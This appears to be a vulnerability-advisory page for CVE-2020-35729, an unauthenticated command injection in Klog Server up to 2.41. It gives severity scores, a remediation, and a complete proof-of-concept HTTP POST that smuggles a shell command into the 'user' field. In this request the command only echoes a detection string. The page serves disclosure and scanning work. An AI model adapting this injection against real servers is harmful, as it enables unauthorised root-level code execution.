| Title | Klog Server <=2.41 - Unauthenticated Command Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system. |
| Remediation | Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90634 |
| CVE ID | CVE-2020-35729 |
| CWE ID | CWE-78 |
| Tags | cve cve2020 klog rce klogserver vuln |
Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shell_exec() PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
POST /actions/authenticate.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Content-Length: 95
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
user=eyqsz%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=eyqsz
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35729.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35729.pcap
N/AN/A